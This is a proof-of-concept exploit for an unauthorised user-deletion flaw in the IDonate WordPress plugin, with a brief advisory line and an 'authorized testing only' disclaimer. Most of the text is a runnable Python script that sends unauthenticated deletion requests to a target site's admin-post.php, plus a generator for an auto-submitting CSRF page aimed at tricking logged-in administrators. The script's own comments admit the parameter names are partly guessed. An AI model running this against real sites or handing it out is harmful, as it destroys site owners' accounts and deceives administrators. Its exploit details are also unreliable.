The IDonate WordPress plugin before 2.1.13 does not have authorisation and CSRF when deleting users via an action handler, allowing unauthenticated attackers to delete arbitrary users.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-11154 PoC - IDonate WordPress Plugin Unauthorized User Deletion
This PoC demonstrates the IDOR + CSRF vulnerability in IDonate plugin < 2.1.13
"""
import requests
import sys
from urllib.parse import urljoin
def exploit_idonate(target_url, target_user_id, wp_admin_url=None):
"""
Exploit the IDOR vulnerability to delete arbitrary WordPress users
Args:
target_url: Base URL of the WordPress site
target_user_id: ID of the user to delete
wp_admin_url: URL of wp-admin (optional, auto-detect if not provided)
"""
print(f"[*] Target: {target_url}")
print(f"[*] Target User ID: {target_user_id}")
# Auto-detect wp-admin URL if not provided
if wp_admin_url is None:
wp_admin_url = urljoin(target_url, 'wp-admin/')
# Construct the vulnerable endpoint
# The plugin's admin-post.php handler is used for actions
exploit_url = urljoin(wp_admin_url, 'admin-post.php')
# Prepare the exploit payload
# The vulnerable parameter is typically 'action' and 'user_id' or similar
params = {
'action': 'idonate_delete_user', # Plugin's delete action
'user_id': str(target_user_id) # Target user to delete
}
print(f"[*] Exploit URL: {exploit_url}")
print(f"[*] Sending malicious request...")
try:
# Send the request (no authentication required due to missing authorization)
response = requests.post(exploit_url, data=params, timeout=10)
print(f"[*] Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Request sent successfully")
print("[*] Note: The vulnerability may require the attacker to be authenticated")
print("[*] or to trick an authenticated admin into clicking the malicious link (CSRF)")
return True
else:
print(f"[-] Unexpected response: {response.status_code}")
return False
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def generate_csrf_payload(target_url, target_user_id):
"""
Generate HTML payload for CSRF attack
This can be embedded in a malicious page to trick authenticated admins
"""
payload = f'''
<!-- CSRF Exploit for CVE-2025-11154 -->
<html>
<body>
<form action="{target_url}/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="idonate_delete_user">
<input type="hidden" name="user_id" value="{target_user_id}">
<input type="submit" value="Click me">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
'''
return payload
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python cve-2025-11154.py <target_url> <user_id>")
print("Example: python cve-2025-11154.py https://example.com 1")
sys.exit(1)
target = sys.argv[1]
user_id = sys.argv[2]
exploit_idonate(target, user_id)
# Generate CSRF payload
print("\n[*] CSRF Payload:")
print(generate_csrf_payload(target, user_id))